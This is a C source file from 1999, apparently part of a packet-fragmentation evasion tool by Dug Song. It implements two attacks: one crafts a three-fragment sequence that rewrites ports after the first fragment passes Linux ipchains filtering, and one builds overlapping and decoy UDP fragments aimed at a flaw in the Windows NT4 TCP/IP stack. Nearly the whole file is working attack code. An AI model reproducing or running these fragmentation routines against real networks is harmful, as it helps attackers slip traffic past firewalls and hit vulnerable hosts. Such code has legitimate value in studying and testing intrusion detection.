1 /*
2   misc.c
3 
4   Dug Song <dugsong@anzen.com>
5 
6   Copyright (c) 1999 Anzen Computing. All rights reserved.
7 
8   Redistribution and use in source and binary forms, with or without
9   modification, are permitted provided that the following conditions
10   are met:
11 
12   1. Redistributions of source code must retain the above copyright
13      notice, this list of conditions and the following disclaimer.
14   2. Redistributions in binary form must reproduce the above copyright
15      notice, this list of conditions and the following disclaimer in the
16      documentation and/or other materials provided with the distribution.
17   3. All advertising materials mentioning features or use of this software
18      must display the following acknowledgement:
19      This product includes software developed by Anzen Computing.
20   4. Neither the name of Anzen Computing nor the names of its
21      contributors may be used to endorse or promote products derived
22      from this software without specific prior written permission.
23 
24   THIS SOFTWARE IS PROVIDED ``AS IS'' AND ANY EXPRESS OR IMPLIED
25   WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF
26   MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED.
27   IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY
28   DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
29   DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE
30   GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS
31   INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER
32   IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR
33   OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF
34   ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
35 
36   $Id: misc.c,v 1.6 1999/07/25 15:55:06 dugsong Exp $
37 */
38 
39 #include "config.h"
40 
41 #include <libnet.h>
42 #include "list.h"
43 #include "misc.h"
44 
45 #define IPCHAINS_SPORT	1025
46 #define IPCHAINS_DPORT	53
47 
48 ELEM *
misc_linuxipchains(u_char * pkt,int pktlen)49 misc_linuxipchains(u_char *pkt, int pktlen)
50 {
51   ELEM *new, *list = NULL;
52 
53   struct ip *iph = (struct ip *)pkt;
54   struct udphdr *udp;
55   int ip_hl = iph->ip_hl * 4;
56   int ip_len = ntohs(iph->ip_len);
57   int hlen = 0;
58   u_char *data;
59 
60   switch (iph->ip_p) {
61   case IPPROTO_UDP:
62     hlen = UDP_H;
63     break;
64   case IPPROTO_TCP:
65     hlen = 16;
66     break;
67   default:
68     return NULL;
69   }
70   if (ip_len - ip_hl < hlen)
71     return NULL;
72 
73   /*
74     We want to replace every packet with 3 fragments:
75     The first being a full header which meets the packet
76     filter, the second being a short fragment that
77     rewrites the ports to the desired ports, and then
78     the third fragment to finish out the series.
79   */
80   if (!(data = malloc(ip_hl + hlen))) return NULL;
81   memcpy(data, pkt, ip_hl + hlen);
82 
83   ((struct ip *)data)->ip_len = htons(ip_hl + hlen);
84   ((struct ip *)data)->ip_off = htons(IP_MF);
85 
86   udp = (struct udphdr *)(data + ip_hl);
87   udp->uh_sport = htons(IPCHAINS_SPORT);
88   udp->uh_dport = htons(IPCHAINS_DPORT);
89 
90   /* Add to our IP fragment list. */
91   new = list_elem(data, ip_hl + hlen);
92   free(data);
93   if (!(list = list_add(list, new)))
94     return NULL;
95 
96   if (!(data = malloc(ip_hl + 4))) return NULL;
97   memcpy(data, pkt, ip_hl + 4);
98 
99   ((struct ip *)data)->ip_len = htons(ip_hl + 4);
100   ((struct ip *)data)->ip_off = htons(IP_MF);
101 
102   /* Add to our IP fragment list. */
103   new = list_elem(data, ip_hl + 4);
104   free(data);
105   if (!(list = list_add(list, new)))
106     return NULL;
107 
108   if (!(data = malloc(ip_len - hlen))) return NULL;
109   memcpy(data, pkt, ip_hl);
110   memcpy(data + ip_hl, pkt + ip_hl + hlen, ip_len - ip_hl - hlen);
111 
112   ((struct ip *)data)->ip_len = htons(ip_len - hlen);
113   ((struct ip *)data)->ip_off = htons(hlen >> 3);
114 
115   /* Add to our IP fragment list. */
116   new = list_elem(data, ip_len - hlen);
117   free(data);
118   if (!(list = list_add(list, new)))
119     return NULL;
120 
121   return (list->head);
122 }
123 
124 ELEM *
misc_nt4sp2(u_char * pkt,int pktlen,int fragsize)125 misc_nt4sp2(u_char *pkt, int pktlen, int fragsize)
126 {
127   ELEM *new, *list = NULL;
128   struct ip *iph = (struct ip *)pkt;
129   struct udphdr *udph;
130   int ip_hl = iph->ip_hl * 4;
131   u_short ip_len = ntohs(iph->ip_len);
132   u_char *ip_blob = pkt + ip_hl;
133   u_char *ip_end = pkt + ip_len;
134   u_char *p, *data;
135   int ip_mf, hlen, len;
136 
137   /*
138     Only handle UDP for now. TCP and ICMP don't seem to work,
139     probably because memory allocation is handled differently
140     (this attack relies on NT's TCP/IP stack using the same
141     chunk of memory twice). Need to learn NT kernel debugging...
142   */
143   if (iph->ip_p != IPPROTO_UDP)
144     return NULL;
145 
146   hlen = UDP_H;
147   if (ip_len - ip_hl < (hlen + fragsize * 2)) return NULL;
148   len = hlen;
149 
150   /* Fragment packet. */
151   for (p = ip_blob ; p < ip_end ; ) {
152     /* Penultimate frag should be marked as the last frag. */
153     if (ip_end - p <= fragsize * 2 && ip_end - p > fragsize)
154       ip_mf = 0;
155     else
156       ip_mf = IP_MF;
157 
158     /*
159       XXX- pad out last frag to 8-byte multiple. NT doesn't like a short
160       fraglen in either the last marked or real last frag in this attack.
161       Should fix the UDP checksum too, but this is bogus to begin with.
162     */
163     if (len < fragsize) {
164       if (!(data = malloc(ip_hl + fragsize))) return NULL;
165       memset(data, 0, ip_hl + fragsize);
166       memcpy(data, pkt, ip_hl);
167       memcpy(data + ip_hl, p, len);
168       len = fragsize;
169     }
170     else {
171       /* Copy in IP header and data. */
172       if (!(data = malloc(ip_hl + len))) return NULL;
173       memcpy(data, pkt, ip_hl);
174       memcpy(data + ip_hl, p, len);
175     }
176     /* Correct IP length, IP fragment offset ("skip" first frag). */
177     ((struct ip *)data)->ip_len = htons(ip_hl + len);
178     ((struct ip *)data)->ip_off =
179       htons(ip_mf | ((p + hlen - ip_blob) >> 3));
180 
181     /* Add to our IP fragment list. */
182     new = list_elem(data, ip_hl + len);
183     free(data);
184     if (!(list = list_add(list, new)))
185       return NULL;
186 
187     /* Determine next fragment size. */
188     p += len;
189     len = ip_end - p;
190     if (len > fragsize)
191       len = fragsize;
192   }
193   /* Create preceding decoy frags. */
194   list_dup(list->head);
195   iph = (struct ip *)(list->head->data);
196   iph->ip_id = htons(ntohs(iph->ip_id) + ip_len); /* XXX */
197   iph->ip_off = htons(IP_MF);
198 
199   /* Decoys will be to the discard port (9). */
200   udph = (struct udphdr *)(list->head->data + ip_hl);
201   udph->uh_dport = htons(9);
202 
203   new = list_dup(list->head);
204   iph = (struct ip *)(new->data);
205   iph->ip_off = htons((list->head->len - ip_hl) >> 3);
206 
207   return (list->head);
208 }
209